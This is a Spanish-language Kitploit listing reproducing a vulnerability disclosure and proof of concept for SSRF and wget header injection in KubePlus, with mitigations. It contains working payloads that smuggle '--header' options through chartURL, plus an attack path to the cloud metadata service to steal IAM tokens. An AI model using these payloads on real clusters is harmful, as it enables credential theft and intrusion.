Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29954 — Prueba de concepto que demuestra SSRF e inyección de cabeceras HTTP en KubePlus ResourceComposition, permitiendo el acceso a metadatos de la nube y el robo de credenciales IAM. | Kitploit
Herramientas/GitHubGitHub/b0b0haha/cve-2026-29954
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la Nube
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

Prueba de concepto que demuestra SSRF e inyección de cabeceras HTTP en KubePlus ResourceComposition, permitiendo el acceso a metadatos de la nube y el robo de credenciales IAM.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

KubePlus ResourceComposition ChartURL SSRF + Inyección de Cabeceras

Esta vulnerabilidad existe en el componente de manejo de recursos ResourceComposition de KubePlus, permitiendo a un atacante con privilegios de Provider acceder a servicios internos mediante SSRF manipulando el parámetro chartURL malicioso, e inyectar cabeceras HTTP arbitrarias a través de la inyección de comandos en wget. Esto permite a los atacantes acceder a servicios de metadatos en la nube que requieren cabeceras específicas (por ejemplo, GCP requiere la cabecera Metadata-Flavor: Google), robando así credenciales IAM. CWE recomendado para el reporte: CWE-918 (Server-Side Request Forgery).

Resumen

Los componentes mutating webhook y kubeconfiggenerator de KubePlus tienen una vulnerabilidad SSRF al procesar el campo chartURL de los recursos ResourceComposition. El campo solo se codifica con URL-encoding sin validar la dirección de destino. Más críticamente, cuando kubeconfiggenerator usa wget para descargar charts, el chartURL se concatena directamente en el comando, permitiendo a los atacantes inyectar la opción --header de wget para lograr una inyección arbitraria de cabeceras HTTP.

Detalles

Ubicación del Código Vulnerable

- :

Punto de Entrada SSRF
mutating-webhook/utils.go:986-995
root@kitploit:~
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

Punto de Inyección de Cabeceras - deploy/kubeconfiggenerator.py:552-558:

root@kitploit:~
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

El chartURL se concatena directamente en el comando wget, permitiendo a los atacantes inyectar la opción --header.

Análisis de la Vulnerabilidad

  1. SSRF: El campo chartURL proviene de la entrada del usuario, solo se codifica con URL-encoding, sin validar si el destino es una red interna o un servicio de metadatos
  2. Inyección de Comandos (Cabeceras): El comando wget concatena directamente el chartURL, permitiendo la inyección de opciones de línea de comandos de wget
  3. Inyección de Cabeceras: Al inyectar la opción --header, se pueden añadir cabeceras HTTP arbitrarias

PoC

Configuración del Entorno

  1. Crear un clúster Kind:
root@kitploit:~
kind create cluster --name kubeplus-test
  1. Instalar KubePlus v4.2.0:
root@kitploit:~
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. Generar el kubeconfig del provider:
root@kitploit:~
python3 provider-kubeconfig.py create default
  1. Desplegar el servidor de callback:
root@kitploit:~
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

Prueba 1: Verificación Básica de SSRF

root@kitploit:~
# Crear ResourceComposition con payload SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

Salida del Registro del Servidor de Callback:

root@kitploit:~
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

Prueba 2: Inyección de Cabeceras mediante wget --header

root@kitploit:~
# Configurar port forwarding hacia kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Inyectar la cabecera Metadata-Flavor (requerida para el servicio de metadatos de GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

Salida del Registro del Servidor de Callback:

root@kitploit:~
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

Prueba 3: Inyección de Múltiples Cabeceras

root@kitploit:~
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

Salida del Registro del Servidor de Callback:

root@kitploit:~
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

Impacto

  1. SSRF a Servicios Internos: Los atacantes pueden acceder a servicios internos del clúster y a la API de Kubernetes
  2. Acceso a Metadatos en la Nube: Al inyectar la cabecera Metadata-Flavor: Google, se puede acceder al servicio de metadatos de GCP
  3. Robo de Credenciales IAM: En entornos de nube, se pueden robar credenciales temporales IAM
  4. Bypass de Autenticación: Al inyectar cabeceras Authorization, se puede eludir la autenticación de algunos servicios

Escenario de Ataque

root@kitploit:~
Atacante (privilegios de Provider)
    |
    v
Crear ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhook procesa la solicitud
    |
    v
kubeconfiggenerator ejecuta: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Acceso al servicio de metadatos de GCP, obtención del Token IAM
    |
    v
Uso del Token IAM para acceder a recursos en la nube

Severidad

Puntuación CVSS 3.1: 8.5 (Alta) Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • Vector de Ataque: Red
  • Complejidad de Ataque: Baja
  • Privilegios Requeridos: Altos (rol Provider)
  • Interacción del Usuario: Ninguna
  • Alcance: Cambiado (puede acceder a servicios externos en la nube)
  • Confidencialidad: Alta (credenciales IAM)
  • Integridad: Baja
  • Disponibilidad: Ninguna

Versiones Afectadas

  • KubePlus v4.2.0 (verificado)
  • Probablemente todas las versiones que usan wget para la descarga de charts

Mitigaciones

  1. Política de Red: Restringir el acceso de red saliente para el Pod de KubePlus
root@kitploit:~
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
  1. Lista Blanca de URLs: Añadir validación de lista blanca para chartURL en el código

Referencias

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-88: Neutralización Incorrecta de Delimitadores de Argumentos en un Comando
  • OWASP SSRF Prevention Cheat Sheet
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Créditos

créditos para: @b0b0haha ([email protected]) @lixingquzhi ([email protected])

Descargar herramienta